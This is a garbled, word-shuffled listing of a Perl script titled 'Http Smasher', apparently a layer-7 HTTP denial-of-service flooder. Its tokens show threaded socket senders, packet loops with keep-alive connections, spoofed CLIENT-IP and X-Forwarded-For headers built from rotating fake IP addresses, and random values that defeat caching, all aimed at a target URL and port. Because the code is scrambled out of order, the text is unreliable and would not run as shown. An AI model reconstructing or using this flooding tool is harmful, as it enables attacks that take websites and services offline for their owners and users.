SRC Http Smasher Source.pl

[darksoul]

eq next; $filepath my } = return { $ip sub if($url "") sub ($host,$file) ISO-8859-1,utf-8;q=0.7,*;q=0.7\r\nContent-Length: $SIG{'KILL'} { if($veces { HTTP/1.1\r\nHost: ",$host,"\r\nUser-Agent: ""; $thr[$v] $proto ($thr[$v]->is_running()) sleep(3); $i; "HEAD"; my threads->exit(); $sumador->mas(); { sockaddr_in($port, = ($peerto,$host,$packet) ($host,$peerto) "Killed...\n"; eq $ARGV[0]; $porconexion; =~ for($i=0;$i<$porconexion;$i++) $packetsender die(" getprotobyname('tcp'); "",$method," */*\r\nAccept-Language: $sock; $sock $i++) = print control; =~ 1) > for($v=0;$v<$max;$v++) print = unless($sock) = return = use 1969 Close\r\n\r\n/; $sumador $sock [x]Invalid { while(true) "/" || to ".$url."\n"; ",$host,":",$peerto,"\nPath: es-es,es;q=0.8,en-us;q=0.5,en;q=0.3\r\nAccept-Encoding: 1 =~ $packetsender $proto); my = => /(.*?).*)/) { < [x]Unable i686; Keep-Alive\r\n\r\n$/Connection: $iaddr) $packet "[-]Invalid Keep-Alive\r\n\r\n"; Fri, join = }[/CODE] sleep(1); ",$ua,"\r\nCLIENT-IP: 'stringify'); =~ "",$a,".",$e,".",$o,".",$b; "/".$file else ",$randsemilla,"\r\nIf-Modified-Since: $sumador split(/\./,$ip); { (X11; false; 'tcp'); if($host = } } = sub = = sub "[!] connect...\n\n"; for($v=0;$v<$max;$v++) PeerPort $ip; = ($a,$e,$o,$b) print for($as=0;$as<$veces;$as++) ""; $peerto @_; $ip return connect...\n\n"; } $randsemilla { =~ 'exit' 1000 ($class,$i) } print 8.8.8.8>\n"); &socker($host,$peerto); $porconexion my URL!\n"); = threads->create('sender', =~ s/\s/ Launched!\n"; Proto } 23:00:00 if($b>=255) } {$b=0;$o++;} ",$ipinicial,"\r\nIf-None-Match: { { .= /g; join = Dec $paddr threads join $vals[int(rand($#vals))]; = = for($v=0;$v<$max;$v++) $filepath { = $sock es-es,es;q=0.8,en-us;q=0.5,en;q=0.3\r\nAccept-Encoding: ""; if($porconexion my connect(SOCK, @_; !~ mas } = if($ipfake $hilo; IPs!\n") Linux 23:00:00 bless 1 IO::Socket::INET->new(PeerAddr $ipfake $packet; if($#ARGV ",$ipinicial,"\r\nX-Forwarded-For: $i [x]Unable new "URL: = => ('a','b','c','d','e','f','g','h','i','j','k','l','n','o','p','q','r','s','t','u','w','x','y','z',0,1,2,3,4,5,6,7,8,9); $sock; while(true) layer7(); socker } url print }; { $file; = my /",$file," =~ $proto); $ARGV[2]; $peerto, } { gzip,deflate\r\nAccept-Charset: $file = my /^http?:\/\/(.*?)\/(.*)/); } } @_; 1; join exit; :shared; { Keep-Alive\r\n\r\n"; = $packet; 30; 1 { ($iaddr, x "",$method," $class; = join } use { $ip if SOCK_STREAM, s/(\{mn\-fakeip\})/$ipinicial/g; sub ",$randsemilla,"\r\nIf-Modified-Since: */*\r\nAccept-Language: print } if($file = Keep-Alive\r\n\r\n$/Connection: 'threads_only', my } return print } 80; use /(.*?).*)/); "\n = { return gzip,deflate\r\nAccept-Charset: if($e>=255) } @_; $sock layer7 $ipinicial my threads!\n"; $packetsender $max || ($porconexion,$peerto,$host,$file)); .= $paddr) = for($i return } ./gayer7.pl $packetbase socket(SOCK, ""); ",$host,"\r\nUser-Agent: = package Socket; ",$ua,"\r\nIf-None-Match: $b++; $veces = $url "","[!] $ua threads->create('sender2', $ip; IO::Socket::INET; $randsemilla $self={}; $i; Firefox/5.0"; to => $file = { { ($host => = } my }

#!/usr/bin/perl GMT\r\nAccept: ",$max," = /^\//); } else 2) /^http:\/\//) 0; @_; sender ($max,$peerto,$host,$file) s/Connection: 100 Fri, HTTP/1.1\r\nHost: s/Connection: Dec {$o=0;$e++;} if($a>=255); = mas || die("Usage: { sub ('yield', /",$filepath," sub { ($url @vals sender2 = $thr[$v] = $paddr, 1969 print Close\r\n\r\n/; main; my $host, } { $self; =~ !~ threads::shared; { rv:5.0) "Mozilla/5.0 inet_aton($remote) use unless($sock) my my my SOCK; 3...\n"; 0\r\nConnection: $self, false; = my $ARGV[3]; $ARGV[1]; my ($self,$veces) /^http?:\/\/([\d\w\:\.-]*)$/); ($peerto,$host,$packetsender)); "[-] my "\n $v--; PF_INET, my Finished!\n"; $method next; GMT\r\nAccept: Gecko/20100101 die("No $packet if($url package ($remote,$port) ISO-8859-1,utf-8;q=0.7,*;q=0.7\r\nContent-Length: arg my my $iaddr control->new($ipfake); Launching false; = print ",$file,"\n\n"; < $packetbase .= $packet print $url {$e=0;$a++;} 0\r\nConnection: print "","Target: { if($o>=255) =